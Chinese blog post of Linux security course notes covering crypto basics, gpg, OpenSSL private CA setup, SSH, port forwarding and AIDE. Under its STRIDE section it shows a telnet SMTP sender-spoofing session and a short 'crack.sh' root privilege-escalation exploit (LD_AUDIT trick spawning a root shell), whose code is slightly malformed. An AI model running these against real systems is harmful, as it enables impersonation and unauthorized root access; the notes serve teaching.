安全和加密

作者: Miracle001 | 来源:发表于2017-07-20 23:39 被阅读200次

![Uploading Paste_Image_494871.png . . .]](http:https://img.haomeiwen.com/i6044565/1f235597a3424b0b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

Paste_Image.png Paste_Image.png Paste_Image.png

墨菲定律

墨菲定律
    一种心理学效应,是由爱德华·墨菲(Edward A. Murphy)提出的;
    原话:如果有两种或两种以上的方式去做某件事情,而其中一种选择方式将导致灾难,则必定有人会做出这种选择;
主要内容
    任何事都没有表面看起来那么简单
    所有的事都会比你预计的时间长
    会出错的事总会出错
    如果你担心某种情况发生,那么它就更有可能发生

安全机制

NIST(美国国家标准与技术研究院)定义的安全属性:
  保密性:
      数据保密性
      隐私性
  完整性:不可篡改
      数据完整性
      系统完整性
  可用性
安全攻击:STRIDE
  Spoofing(假冒)、Tampering(篡改)、Repudiation(否认)、
  Information Disclosure(信息泄漏)、Denial of Service(拒绝服务)、
  Elevation of Privilege(提升权限)
smtp 邮件服务 25端口
假冒身份,发送邮件
    telnet 127.0.0.1(对方ip) 25(服务端口)
    helo a.com  (测试是否成功:250表示返回信息的标志,当前操作成功)
    mail from:fgq@fgqcompany.com(以谁的身份发送邮件)
    rcpt to:feng(给谁发送)
    data(表示下面开始输入邮件内容)
    subject:Hello(邮件标题)
    How are you?
    How old are you?
    .(表示邮件内容输入完毕)
    quit(断开网络连接)
Elevation of Privilege(提升权限)
  1 yum -y install gcc
  2 cat crack.sh
        mkdir /tmp/feng
        ln /bin/ping /tmp/feng/test
        exec 3< /tmp/feng/test
        rm -rf /tmp/feng
        cat > /tmp/feng.c <<eof
        void _attribute_((constructor)) init()
        {
            setuid(0)
            system("/bin/bash");
        }
        eof

        gcc -w -fPIC -shared -o /tmp/feng /tmp/feng.c
    3 LD_AUDIT="$ORIGIN" exec /proc/self/fd/3 &> /dev/null

安全

安全机制:
    加密、数字签名(私钥加密)、访问控制、数据完整性、认证交换、流量填充、路由控制、公证
安全服务:
    认证
    访问控制
    数据保密性
        连接保密性
        无连接保密性
        选择域保密性
        流量保密性
    数据完整性
    不可否认性
iptables
firewalld(新)
DMZ 非军事化区
Paste_Image.png Paste_Image.png

设计基本原则

  使用成熟的安全系统
  以小人之心度输入数据
  外部系统是不安全的
  最小授权
  减少外部接口
  缺省使用安全模式
  安全不是似是而非
  从STRIDE思考
  在入口处检查
  从管理上保护好你的系统

安全算法

常用安全技术
    认证
    授权
    安全通信
    审计
密码算法和协议:
    对称加密
    公钥加密
    单向加密
    认证协议
Linux系统:OpenSSL, gpg(pgp协议的实现)

对称加密算法

对称加密:加密和解密使用同一个密钥
    DES:Data Encryption Standard,56bits
    3DES:
    AES:Advanced (128, 192, 256bits)
    Blowfish,Twofish
    IDEA,RC6,CAST5
特性:
    1、加密、解密使用同一个密钥,效率高
    2、将原始数据分割成固定大小的块,逐个进行加密
缺陷:
    1、密钥过多
    2、密钥分发
    3、数据来源无法确认

非对称加密算法

公钥加密:密钥是成对出现
    公钥:公开给所有人;public key
    私钥:自己留存,必须保证其私密性;secret key
特点:
    用公钥加密数据,只能使用与之配对的私钥解密;反之亦然
功能:
    数字签名:主要在于让接收方确认发送方身份
    对称密钥交换:发送方用对方的公钥加密一个对称密钥后发送给对方
    数据加密:适合加密较小数据
缺点:
    密钥长,加密解密效率低下
算法:
    RSA(加密,数字签名),DSA(数字签名),ELGamal

基于一对公钥/密钥对
    用密钥对中的一个加密,另一个解密
实现加密:
    接收者
        生成公钥/密钥对:P和S
        公开公钥P,保密密钥S
    发送者
        使用接收者的公钥来加密消息M
        将P(M)发送给接收者
    接收者
        使用密钥S来解密:M=S(P(M))
实现数字签名:
    发送者
        生成公钥/密钥对:P和S
        公开公钥P,保密密钥S
        使用密钥S来加密消息M
        发送给接收者S(M)
    接收者
        使用发送者的公钥来解密M=P(S(M))
结合签名和加密
分离签名
A发送数据给B:
    以A的私钥加密,发送给B,B以A的公钥解密data;
    Pa{Sa(data)}
效率比较
加密前数据大小 加密后数据大小 加密时间 解密时间
DES 1G 2G 4min 8min
RSA 1G 2G 4min 64h
优盾
对称秘钥和非对称秘钥结合使用
Paste_Image.png Paste_Image.png

单向散列

hash(data):digest 摘要(“指纹”)
将任意数据缩小成固定大小的“指纹”
    任意长度输入
    固定长度输出
    若修改数据,指纹也会改变(“不会产生冲突”)
    无法从指纹中重新生成数据(“单向”)
功能:
    数据完整性
常见算式
    md5: 128bits
    sha1: 160bits、sha224、sha256、sha384、sha512
常用工具
    md5sum | sha1sum [ --check ] file
    openssl、gpg
    rpm -V  检查文件完整性(权限、内容、名称...)
优化加密(A发送数据给B)
    1 Pb{data+hash{Sa(data)}}  公钥加密、私钥签名
        B以自己的私钥解密(安全性)
        B以A的公钥解密(验证了数据来源)
        效率低
    2 key{data+Sa(hash(data))}+Pb(key)  对称加密(key)、非对称加密(PS)、hash
        B以自己的私钥解密
        B以A的公钥解密
        hash算法做比较(确保数据完整性)
        效率高
企业里的重要文件,需要定期检查是否被他人更改;
hash算法:文件内容(检查是否变化);文件名称及其权限(不检查);
黑客如果攻入你的系统,就会用自己特制的ps代替系统的ps工具;
你输入ps命令,想检查是否有恶意程序,已经看不出来了,但是黑客的程序仍在后台运行;
ps -aux; ss -ntl  都无法查出
Paste_Image.png Paste_Image.png Paste_Image.png Paste_Image.png
检测centos7.3下载光盘数据完整性
Paste_Image.png Paste_Image.png Paste_Image.png Paste_Image.png Paste_Image.png Paste_Image.png

密钥交换

密钥交换:IKE(Internet Key Exchange )
    公钥加密:
      DH (Deffie-Hellman):生成会话密钥;
      https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange
    DH:
    1、A: a,p 协商生成公开的整数a,大素数p(素数——质数——能被自己和1整除的数:2、3、5、7、11...)
       B: a,p
    2、A:生成隐私数据:x (x<p),计算得出a^x%p,发送给B
       B:生成隐私数据:y,计算得出a^y%p,发送给A
    3、A:计算得出[(a^y%p)^x] %p = a^xy%p,生成为密钥(对称秘钥)
       B:计算得出[(a^x%p)^y] %p = a^xy%p,生成为密钥(对称秘钥)
    4、安全性:a、p和计算结果可以在公网上上传,但是x和y不在公网上传;

应用程序:RPM

文件完整性的两种实施方式
被安装的文件
    MD5单向散列
    rpm --verify package_name (or -V)
发行的软件包文件
    GPG公钥签名
    rpm --import /etc/pki/rpm-gpg/RPM-GPG-KEY-redhat*  (非对称、公钥)
    rpm -K|--checksig pakage_file_name  检查包的完整性和签名
    yum安装过程中,有gpgkey=...(公钥)

使用gpg实现对称加密

对称加密file文件
    gpg -c file
    设置该文件的口令
    ls file.gpg
    scp file.gpg ip(对方ip)
在另一台主机上解密file
    不输入或输错口令,就会导致乱码
    gpg -o file -d file.gpg
Paste_Image.png Paste_Image.png

使用gpg工具实现公钥加密

在hostB主机上用公钥加密,在hostA主机上解密
在hostA主机上生成公钥/私钥对
    gpg --gen-key
在hostA主机上查看公钥
    gpg --list-keys
在hostA主机上导出公钥到feng.pubkey
    gpg -a --export -o feng.pubkey
从hostA主机上复制公钥文件到需加密的B主机上
    scp feng.pubkey hostB:
在需加密数据的hostB主机上生成公钥/私钥对
    gpg --list-keys
    gpg --gen-key
在hostB主机上导入公钥
    gpg --import feng.pubkey
    gpg --list-keys
用从hostA主机导入的公钥,加密hostB主机的文件file,生成file.gpg
    gpg -e -r fengtaida file
    file file.gpg
复制加密文件到hostA主机
    scp fstab.gpg hostA:
在hostA主机解密文件
    gpg -d file.gpg
    gpg -o file -d file.gpg
删除公钥和私钥
    gpg --delete-keys fengtaida
    gpg --delete-secret-keys fengtaida
实验:centos6上加密文件,centos7上解密文件

CA和证书

A发送数据给B
非对称加密——如何确认公钥是其本人的(防止黑客入侵)
Paste_Image.png
PKI: Public Key Infrastructure
    签证机构:CA(Certificate Authority)
    注册机构:RA
    证书吊销列表:CRL
    证书存取库:
X.509:定义了证书的结构以及认证协议标准
    版本号
    序列号
    签名算法
    颁发者
    有效期限
    主体名称
    主体公钥
    CRL分发点
    扩展信息
    发行者签名

证书获取

Paste_Image.png
RootCA通常与微软合作,早已经把公钥Prca安装在计算机上了;
Paste_Image.png
证书类型:
    证书授权机构的证书
    服务器
    用户证书
获取证书两种方法:
    使用证书授权机构
        生成签名请求(csr)
        将csr发送给CA
        从CA处接收签名
    自签名的证书
        自已签发自己的公钥
泛域名证书
    *
    https
Paste_Image.png Paste_Image.png

安全协议

SSL: Secure Socket Layer
    TLS: Transport Layer Security
        1995:SSL 2.0 Netscape
        1996: SSL 3.0
        1999: TLS 1.0
        2006: TLS 1.1 IETF(Internet工程任务组) RFC 4346(通信协议标准)
        2008:TLS 1.2 当前使用
        2015: TLS 1.3
    功能:机密性,认证,完整性,重放保护
两阶段协议,分为握手阶段和应用阶段
    key{data+Sa(hash(data))}+Pb(key)  综合型加密
    对称秘钥加密(数字签名(哈希运算))
    握手阶段(协商阶段):
        客户端和服务器端认证对方身份(依赖于PKI体系,利用数字证书进行身份认证),并协商通信中使用的安全参数、密码套件以及主密钥。
        后续通信使用的所有密钥都是通过MasterSecret生成。
    应用阶段:
        在握手阶段完成后进入,在应用阶段通信双方使用握手阶段协商好的密钥进行安全通信

SSL/TLS

Paste_Image.png
(包头封装(加密(应用层封装)))
ethernet(ip(tcp(tls(app层(data)))))
tls(http(data)) = https (常见)
tls(ftp(data)) = ftps (少见)
tls可以保护上层的好多协议
Handshake协议:包括协商安全参数和密码套件、服务器身份认证(客户端身份认证可选)、密钥交换
Change Cipher Spec 协议:一条消息表明握手协议已经完成
Alert 协议:对握手协议中一些异常的错误提醒,分为fatal和warning两个级别,fatal类型错误会直接中断SSL链接,而warning级别的错误SSL链接仍可继续,只是会给出错误警告
Record 协议:包括对消息的分段、压缩、消息认证和完整性保护、加密等
HTTPS 协议:就是“HTTP 协议”和“SSL/TLS 协议”的组合。HTTP over SSL”或“HTTP over TLS”,对http协议的文本数据进行加密处理后,成为二进制形式传输
客户访问网站
客户 ————> 网站
request ————>
<———— Srac(Pwebsrv+...) 证书
Pwebsrv(sessionkey) ————>
<———— sessionkey(data)
http(data)
Paste_Image.png Paste_Image.png

OpenSSL

OpenSSL:开源项目
    三个组件:
        openssl: 多用途的命令行工具,包openssl
        libcrypto: 加密算法库,包openssl-libs(多个模块)
        libssl:加密模块应用库,实现了ssl及tls,包nss
openssl命令:
    两种运行模式:交互模式和批处理模式
    openssl version:程序版本号
    标准命令、消息摘要命令、加密命令
    标准命令:
        enc, ca, req, ...
对称加密:
    工具:openssl enc, gpg
    算法:3des, aes, blowfish, twofish
enc命令:
    帮助:man enc
    加密:
        openssl enc -e(加密) -des3 -a -salt -in(输入文件) f1.awk -out f1.enc(输出文件,后缀随意)
    解密:
        openssl enc -d(解密) -des3 -a -salt -in f1.enc -out f1.txt
Paste_Image.png
单向加密:
    工具:md5sum, sha1sum, sha224sum,sha256sum…
        openssl dgst
dgst命令:
    帮助:man dgst
    openssl dgst -md5 [-hex默认] /PATH/SOMEFILE
    openssl dgst -md5 testfile
    md5sum /PATH/TO/SOMEFILE
MAC: Message Authentication Code,单向加密的一种延伸应用,用于实现网络通信中保证所传输数据的完整性机制
    CBC-MAC
    HMAC:使用md5或sha1算法
Paste_Image.png
生成用户密码:
    passwd命令:
    帮助:man sslpasswd
    openssl passwd -1  1表示生成md5算法
    openssl passwd -1 -salt SALT(最多8位)
    openssl passwd -1 –salt centos
    grub-md5-crypt(centos6)
Paste_Image.png
生成随机数:
    帮助:man sslrand
    openssl rand -base64|-hex NUM
    NUM: 表示字节数;-hex时,每个字符为十六进制,相当于4位二进制,出现的字符数为NUM*2
Paste_Image.png
公钥加密:
    算法:RSA, ELGamal
    工具:gpg, opensslrsautl(man rsautl)
数字签名:
    算法:RSA, DSA(不支持公钥加密), ELGamal
密钥交换:
    算法:dh
    DSA: Digital Signature Algorithm
    DSS:Digital Signature Standard
    RSA:
生成密钥对儿:man genrsa
生成私钥
    openssl genrsa -out /PATH/TO/PRIVATEKEY.FILE NUM_BITS
        (umask077; openssl genrsa -out test.key -des 2048)
从私钥中提取出公钥(证书里带私钥,一般就不提取公钥)
    openssl rsa -in PRIVATEKEYFILE -pubout -out PUBLICKEYFILE
    openssl rsa -in test.key -pubout -out test.key.pub
随机数生成器:伪随机数字
    键盘和鼠标
    块设备中断
    /dev/random:仅从熵池返回随机数;随机数用尽,阻塞
    /dev/urandom:从熵池返回随机数;随机数用尽,会利用软件生成伪随机数,非阻塞
Paste_Image.png Paste_Image.png
PKI:Public Key Infrastructure
    CA
    RA
    CRL
    证书存取库
建立私有CA:
    OpenCA
    openssl
证书申请及签署步骤:
    0、搭建CA——>生成私钥
    1、生成申请请求(请求、个人信息)
    2、RA核验
    3、CA签署
    4、获取证书

创建CA和申请证书

创建私有CA:
    openssl的配置文件:/etc/pki/tls/openssl.cnf
    三种策略:匹配、支持和可选
        匹配指要求申请填写的信息跟CA设置信息必须一致
        支持指必须填写这项申请信息
        可选指可有可无
    openssl ?  (不支持补全,可以用此命令查看所需命令)
Paste_Image.png Paste_Image.png
重要配置文件
dir             = /etc/pki/CA           # Where everything is kept
certs           = /etc/pki/CA/certs            # Where the issued certs are kept
database        = /etc/pki/CA/index.txt        # database index file.
new_certs_dir   = /etc/pki/CA/newcerts         # default place for new certs.
certificate     = /etc/pki/CA/cacert.pem       # The CA certificate
serial          = /etc/pki/CA/serial           # The current serial number
private_key     = /etc/pki/CA/private/cakey.pem   # The private key
client server
centos6 centos7
https://www.magedu.com 作为CA,给centos6发证书
server client
centos6 其他客户机
1、创建所需要的文件
    touch /etc/pki/CA/index.txt  生成证书索引数据库文件
    echo 01(必须是两位数) > /etc/pki/CA/serial  指定第一个颁发证书的序列号
2、CA自签证书
    生成私钥
        cd /etc/pki/CA/
        (umask 066; openssl genrsa -out /etc/pki/CA/private/cakey.pem 2048)仅本次有效
        *tree /etc/pki/CA/  查看是否生成秘钥; ll /etc/pki/CA/private/cakey.pem  查看是否成功设置权限
    生成自签名证书
        openssl req -new -x509 -key /etc/pki/CA/private/cakey.pem -days 7300 -out /etc/pki/CA/cacert.pem
            -new: 生成新证书签署请求
            -x509: 专用于CA生成自签证书
            -key: 生成请求时用到的私钥文件
            -days n:证书的有效期限
            -out /PATH/TO/SOMECERTFILE: 证书的保存路径
        *tree /etc/pki/CA/; openssl x509 -in /etc/pki/CA/cacert.pem -noout -text  查看是否操作成功
        *sz /etc/pki/CA/cacert.pem
        *windows里的下载文件夹中查找文件,更改后缀为.cer,即可打开查看
        泛域名:*.fgq.com——后缀为fgq.com的即可访问此网站
3、颁发证书
    A 在需要使用证书的主机生成证书请求
        给web服务器生成私钥
            (umask 066; openssl genrsa -out /etc/pki/tls/private/test.key 2048)
        生成证书申请文件
            openssl req -new -key /etc/pki/tls/private/test.key -days 365 -out /etc/pki/tls/test.csr
                不是想申请几天就有几天,CA机构批多少天就是多少天
    B 将证书请求文件传输给CA
            scp /etc/pki/tls/test.csr ip(CA机构):/etc/pki/CA/  输入对方的口令
    C CA签署证书,并将证书颁发给请求者
            mkdir tmp
            openssl ca -in /tmp/test.csr -out /etc/pki/CA/certs/test.crt -days 365
            注意:默认国家,省,公司名称三项必须和CA一致
    D 查看证书中的信息:
        openssl x509 -in /PATH/FROM/CERT_FILE -noout -text|issuer|subject|serial|dates
        openssl ca -status SERIAL  查看指定编号的证书状态

        自动生成/etc/pki/CA/newcerts/01.perm
        ll /etc/pki/CA/newcerts/01.perm  /etc/pki/CA/certs/service.crt(二者大小相同)
        cat /etc/pki/CA/serial——(16进制数)
        cat /etc/pki/CA/index.txt
        cat /etc/pki/CA/index.txt.attr
        openssl x509 -in /etc/pki/CA/cacerts/service.crt -noout -text
        sz /etc/pki/CA/cacerts/service.crt
Paste_Image.png
4、吊销证书
    A 在客户端获取要吊销的证书的serial
        openssl x509 -in /PATH/FROM/CERT_FILE -noout -serial -subject
    B 在CA上,根据客户提交的serial与subject信息,对比检验是否与index.txt文件中的信息一致,吊销证书:
        openssl ca -revoke /etc/pki/CA/newcerts/SERIAL.pem
    C 指定第一个吊销证书的编号
        注意:第一次更新证书吊销列表前,才需要执行
        echo 01 > /etc/pki/CA/crlnumber
    D 更新证书吊销列表
        openssl ca -gencrl -out /etc/pki/CA/crl/crl.pem

        查看crl文件:
        openssl crl -in /etc/pki/CA/crl/crl.pem -noout -text
同一个私钥可以生成另外一个请求
如果策略不相同,可以更改策略,把default改为anything
Paste_Image.png
rpm -qp --scripts /misc/cd/Packages/mod_ssl-2.4.6-45.el7.centos.x86_64.rpm
Paste_Image.png

SSH

ssh: secure shell, protocol, 22/tcp, 安全的远程登录
具体的软件实现:
    OpenSSH: ssh协议的开源实现,CentOS默认安装
    dropbear:另一个开源实现
        端口冲突,更改为非标准端口
SSH协议版本
    v1: 基于CRC-32做MAC,不安全;man-in-middle(淘汰)
    v2:双方主机协议选择安全的MAC方式
    基于DH算法做密钥交换,基于RSA或DSA实现身份认证
两种方式的用户登录认证:
    基于password(少量机器)
    基于key

OpenSSH介绍

相关包:
      openssh
      openssh-clients
      openssh-server
工具:
      基于C/S结构
      Client: ssh, scp, sftp
          Windows客户端:
          xshell, putty, securecrt, sshsecureshellclient
      Server: sshd
          lsof -i :22  查看谁监听此端口

ssh客户端

ssh, 配置文件:/etc/ssh/ssh_config
    Host PATTERN
        StrictHostKeyChecking no 首次登录不显示检查提示
cd /etc/ssh; cp ssh_config ssh_config.bak; vim ssh_config
Paste_Image.png
格式:
    ssh [user@]host [COMMAND]
    ssh [-l user] host [COMMAND]
        -p port:远程服务器监听的端口
        -b:指定连接的源IP
        -v:调试模式(连接对方一直出故障)
        -C:压缩方式
        -X: 支持x11转发
        -Y:支持信任x11转发
            ForwardX11Trusted yes
        -t: 强制伪tty分配
            ssh -t remoteserver1 ssh remoteserver2
允许实现对远程系统经验证地加密安全访问
    当用户远程连接ssh服务器时;
    会复制ssh服务器/etc/ssh/ssh_host*key.pub(CentOS7默认是ssh_host_ecdsa_key.pub)文件中的公钥到客户机的~./ssh/know_hosts中。
    下次连接时,会自动匹配相应私钥,不能匹配,将拒绝连接
ssh -p 9527(远程端口) 192.168.128.136(远程ip)
ssh -b 172.16.250.186(本机ip) 172.16.250.187(远程ip)
ssh -v 192.168.128.136(远程ip)(连接远程一直出故障,-v选项做调试)
ssh -X 192.168.128.129(远程ip); nm-connection-editor centos6上可以用centos7上的图形工具
X 协议转发
    所有图形化应用程序都是X客户程序
        能够通过tcp/ip连接远程X服务器
        数据没有加密机,但是它通过ssh连接隧道安全进行
    ssh -X user@remotehost gedit
        remotehost主机上的gedit工具,将会显示在本机的X服务器上
        传输的数据将通过ssh连接加密
Paste_Image.png
把centos6的桌面搬到了windows上,相当于安装了一个Xserver,centos6做客户端
应用:远程安装Oracle数据库;
Paste_Image.png Paste_Image.png Paste_Image.png
管理多台服务器,只需要输入一次命令——Xshell
Paste_Image.png
在3上设置防火墙策略,1不能连接3,2可以连接3: 
    iptables -A INPUT -s ip1 -j REJECT
1通过连接2,2再连接3,实现1间接连接3:
    ssh -t ip2 ssh ip3  
    需要输入2和3的口令
Paste_Image.png

基于key(密钥)认证

(1) 在客户端生成密钥对
      ssh-keygen -t rsa [-P ''] [-f "~/.ssh/id_rsa"](不写,默认家目录)
        eg: ssh-keygen -t rsa(不写,默认家目录)
(2) 把公钥文件传输至远程服务器对应用户的家目录
      ssh-copy-id [-i [identity_file]](公钥路径) [user@]host
        eg: ssh-copy-id -i ~/.ssh/id_rsa(拷公钥) root@ip1  输入口令
            ssh-copy-id -i ~/.ssh/id_rsa root@ip2  (可以用同一公钥,连接多个机器,公钥会追加)
(3) 测试
        eg: cd .ssh; ls; cat authorized_keys(服务器上操作)
            scp file1 root@ip0  (服务器上操作)
            ssh root@ip1 (客户机操作,不用输入口令,直接登录成功)
              自动用私钥签名请求,服务器端用你发的公钥解密
            ssh ip1/2 'cmd'  (ip0上操作,管理ip1/2,自动化操作)
(4) 在SecureCRT或Xshell实现基于key验证
      在SecureCRT工具—>创建公钥—>生成Identity.pub文件
      转化为openssh兼容格式(适合SecureCRT,Xshell不需要转化格式),
      并复制到需登录主机上相应文件authorized_keys中,注意权限必须为600,在需登录的ssh主机上执行:
          ssh-keygen -i -f Identity.pub >> .ssh/authorized_keys
            (公钥有多个,需要指定文件 -f,.ssh/id_rsa或者.ssh/id_dsa)
(5)重设私钥口令:#ssh-keygen -p 
        eg: ssh-keygen -p -f .ssh/id_dsa(客户机上操作)
              ssh ip1/2 'uname -r'  需要输入私钥口令
(6)验证代理(authentication agent)保密解密后的密钥
    这样口令就只需要输入一次
    在GNOME中,代理被自动提供给root用户
    否则运行  ssh-agent bash
    eg: ssh-agent bash  启动代理
(7)钥匙通过命令添加给代理
    ssh-add
    eg: ssh-add 把(5)设置的私钥口令托管给代理(输入设置的私钥口令)
        ssh ip1/2 'uname -r'  直接访问,不需要输入私钥口令
        每次exit之后,都要输入私钥口令,即重复(6)、(7)步骤

Paste_Image.png
Xshell实现基于key验证
Paste_Image.png Paste_Image.png Paste_Image.png Paste_Image.png Paste_Image.png
cat id_rsa_1024.pub >> .ssh/authorized_keys
在SecureCRT上实现基于key验证
Paste_Image.png Paste_Image.png
转换格式:ssh-keygen -i -f Identity.pub >> .ssh/authorized_keys

scp命令

scp [options] SRC... DEST/
两种方式:
    scp [options] [user@]host:/sourcefile /destpath
    scp [options] /sourcefile [user@]host:/destpath
    不能把远程文件拷贝到远程主机,必须有一个路径是本机路径
常用选项:
    -C: 压缩数据流
    -r: 递归复制
    -p: 保持原文件的属性信息
    -q: 静默模式
    -P PORT: 指明remote host的监听的端口

scp f1 192.168.128.136:
scp -p f1 f2 192.168.128.136:  f1文件已经存在远程主机上,还会继续拷贝f1文件,并不会覆盖,效率低下

rsync命令

基于ssh和rsh服务实现高效率的远程系统之间复制文件
使用安全的shell连接做为传输方式
    rsync -av /etc server1:/tmp  复制目录和目录下文件
    rsync -av /etc/ server1:/tmp  只复制目录下文件
比scp更快,只复制不同的文件
选项:
    -n 模拟复制过程
    -v 显示详细过程
    -r 递归复制目录树
    -p 保留权限
    -t 保留时间戳
    -g 保留组信息
    -o 保留所有者信息
    -l 将软链接文件本身进行复制(默认)
    -L 将软链接文件指向的文件复制
    -a 存档,相当于-rlptgoD,但不保留ACL(-A)和SELinux属性(-X)
应用
    维护web服务器,很多网页文件、html文件需要更新
    rsync -av /website 192.168.128.136  修改文件被覆盖,无变化的文件不复制
    参数过多,配合xargs使用

sftp命令(ssh协议)

交互式文件传输工具
用法和传统的ftp工具相似
利用ssh服务实现安全的文件上传和下载
使用 ls cd mkdir rmdir pwd get put等指令,可用?或help获取帮助信息
    sftp [user@]host
    sftp> help
应用
    sftp 192.168.128.136  基于key验证后,不需要输入远程ip的口令,访问远程主机的根目录
    ftp 192.168.128.136  访问远程主机的/var/ftp/目录
Paste_Image.png

SSH端口转发

什么是SSH端口转发?
    SSH自动加密和解密所有SSH客户端与服务端之间的网络数据;
    SSH能够将其他TCP端口的网络数据通过SSH链接来转发,并且自动提供了相应的加密及解密服务;
    这一过程叫做“隧道”(tunneling),SSH为其他TCP链接提供了一个安全的通道来进行传输;
    如:Telnet,SMTP,LDAP 这些TCP应用均能够从中得益,避免了用户名,密码以及隐私信息的明文传输;
    如果工作环境中的防火墙限制了一些网络端口的使用,但是允许SSH的连接,也能够通过将TCP端口转发来使用SSH进行通讯;
SSH 端口转发能够提供两大功能:
    加密 SSH Client 端至 SSH Server 端之间的通讯数据
    突破防火墙的限制完成一些之前无法建立的 TCP 连接
vim /etc/postfix/main.cf    smtp的配置文件(启用邮件功能)
Paste_Image.png Paste_Image.png
本地转发:
    -L localport:remotehost:remotehostport sshserver
选项:
    -f 后台启用
    -N 不打开远程shell,处于等待状态
    -g 启用网关功能
示例
    ssh -L 9527:telnetsrv:23 -N sshsrv
    telnet 127.0.0.1 9527
    当访问本机的9527的端口时,被加密后转发到sshsrv的ssh服务,再解密被转发到telnetsrv:23
    data <——> localhost:9527 <——> localhost:XXXXX <——> sshsrv:22 <——> sshsrv:YYYYY <——> telnetsrv:23
---------------------------------------------------------------------------
实验
centos5——3  centos6——1  centos7——2
centos7:
    systemctl start telnet.socket; netstat -ntl(telnet :23)
    iptables -vnL; iptables -F
    iptables -A INPUT -s ip5 -j REJECT  centos5连接不上centos7
centos6:
    iptables -vnL; iptables -F  
centos5:
    netstat -ntl; 没有9527端口,要首先打开此端口
    ssh -L 9527:ip2:23 -Nf ip1  需要输入1的口令,即可登录上1(-Nf 不会跳转到1,且后台运行)
    telnet ip3 9527  连接本机ip,需要输入2的口令,即可登录上2
Paste_Image.png
远程转发:
    -R sshserverport:remotehost:remotehostport sshserver
示例:
    ssh -R 9527:telnetsrv:23 -N sshsrv
    让sshsrv侦听9527端口的访问,如有访问,就加密后通过ssh服务转发请求到本机ssh客户端,再由本机解密后转发到telnetsrv:23
    Data<——>sshsrv:9527<——>sshsrv:22 <——>localhost:XXXXX<——>localhost:YYYYY<——>telnetsrv:23
----------------------------------------------------------------------------
实验
centos5——3  centos6——1  centos7——2
centos6:
    ssh -R 9527:ip2:23 -Nf ip3(自动在3上开启9527端口)
centos5:    
    telnet ip3 9527  (连接本机的ip)
VPN  限制外部机器连接内部机器
Paste_Image.png Paste_Image.png
动态端口转发:(限制内部连接外部)
当用firefox访问internet时,本机的1080端口做为代理服务器,firefox的访问请求被转发到sshserver上,由sshserver替之访问internet
    在本机firefox设置代理socket proxy:127.0.0.1:1080
    #ssh -D 9527 root@sshserver
实验
centos5——1
centos6——2
centos7——3
centos5:
    yum -y install httpd
    vim /var/www/html/index.html
        <h1>GOOGEL</h1>
    service httpd start
    iptables -vnL; iptables -F
    ss -ntl
    iptables -A INPUT -s ip3 -j REJECT  centos7不能直接连接centos5
    cat /var/log/httpd/access_log  可以看到是centos6连接到本机,不是centos7
centos6:
    ss -ntl
centos7:
    iptables -vnL; iptables -F
    curl ip1  显示<h1>GOOGEL</h1>,即可连接成功
    ssh -D 9527 ip2  输入2的口令,即可登录到2机器上
    ss -ntl  是否有9527端口
Paste_Image.png Paste_Image.png Paste_Image.png Paste_Image.png Paste_Image.png

ssh服务器

服务器端:sshd, 配置文件: /etc/ssh/sshd_config; man /etc/ssh/sshd_config
常用参数:
    Port(更改为非标准端口,selinux限制)
    ListenAddress ip
    PermitRootLogin yes(不允许以root身份连接,可以普通用户身份连接,再切换至root)
    ClientAliveInterval(单位:秒)和ClientAliveCountMax(默认3,间隔15s,3次间隔,就是45s)
    UseDNS yes(ip转换成主机名,耗时,把UseDNS设置为no)
    MaxStartups  最大允许保持多少个未认证连接。默认值10
    MaxSessions  同一个连接最大会话
    限制可登录用户的办法:
        AllowUsers user1 user2 user3(有了白名单,不在白名单中的人,拒绝访问)
        DenyUsers(黑名单的优先级高于白名单)
        AllowGroups
        DenyGroups
nmcli connection modify eth1 ipv6.address ipv6地址  更改ipv6地址
Paste_Image.png
ssh服务的最佳实践
    要使用默认端口(安全,使用非默认端口)
    禁止使用 protocol version 1
    限制可登录用户(黑名单、白名单)
    设定空闲会话超时时长(时间间隔)
    利用防火墙设置ssh访问策略(只允许某个ip访问server)
    仅监听特定的IP地址(22端口——内网和外网——内网使用22端口,外网不用22端口)
    基于口令认证时,使用强密码策略
        tr -dc A-Za-z0-9_ < /dev/urandom | head -c 30 | xargs
        openssl rand -base64 12
    使用基于密钥的认证
    禁止使用空密码
    禁止root用户直接登录
    限制ssh的访问频度和并发在线数
    做好日志,经常分析
        tail -f /var/log/secure
编译安装dropbear示例
ssh协议的另一个实现:dropbear
安装准备:
    1、网上下载dropbear(最新版); rz 上传到Linux里; ll -h dropbear包
    2、安装开发包组: yum -y install "Development Tools"
安装:
    3、tar xvf dropbear-2017.75.tar.bz2; cd dropbear-2017.75/; 
    4、cat README; cat INSTALL; du -sh .
    5、./configure; yum -y install zlib-devel
    6、make PROGRAMS="dropbear dbclient dropbearkey dropbearconvert scp"(可以选择性编译安装)
    7、make PROGRAMS="dropbear dbclient(相当于ssh) dropbearkey dropbearconvert scp" install
启动ssh服务:
    8、ls /usr/local/sbin/(服务器) /usr/local/bin/(客户端)  
    9、/usr/local/sbin/dropbear -h
    10、mkdir /etc/dropbear(默认放在此目录,没有此文件夹,就要创建,cd /etc/dropbear ?)
    11、dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key -s 2048
    12、dropbearkey -t dss -f /etc/dropbear/dropbear_dsa_host_key(第二个钥匙)
    13、dropbear -p :2222 -F -E  前台运行,输出至前台
        dropbear -p :2222  后台运行
         (./dropbear --help)
客户端访问:
    14、ssh -p 2222 root@127.0.0.1
    15、dbclient -p 2222 root@127.0.0.1

AIDE(Adevanced Intrusion Detection Environment)

当一个入侵者进入了你的系统并且种植了木马;通常会想办法来隐蔽这个木马;
    除了木马自身的一些隐蔽特性外,他会尽量给你检查系统的过程设置障碍
入侵者会修改一些文件,如:ps文件或者crontab文件;
    管理员用ps -aux查看系统进程,入侵者用自己修改的ps程序来替换掉你系统上的ps程序,以使用ps命令查不到正在运行的木马程序;
    管理员正在运行crontab作业,入侵者可能替换掉crontab程序等等;
对于系统文件或关键文件的检查是很必要的,系统完整性检查的工具用的比较多的有两款:
    Tripwire——一款商业软件;AIDE——一款免费的但功能也很强大的工具
AIDE(高级入侵检测环境)
    是一个入侵检测工具,主要用途是检查文件的完整性,审计计算机上的哪些文件被更改过了
AIDE能够构造一个指定文件的数据库,它使用aide.conf作为其配置文件;
AIDE数据库能够保存文件的各种属性,包括:
    权限(permission)、索引节点序号(inode number)、所属用户(user)、所属用户组(group)、
    文件大小、最后修改时间(mtime)、创建时间(ctime)、最后访问时间(atime)、增加的大小以及连接数;
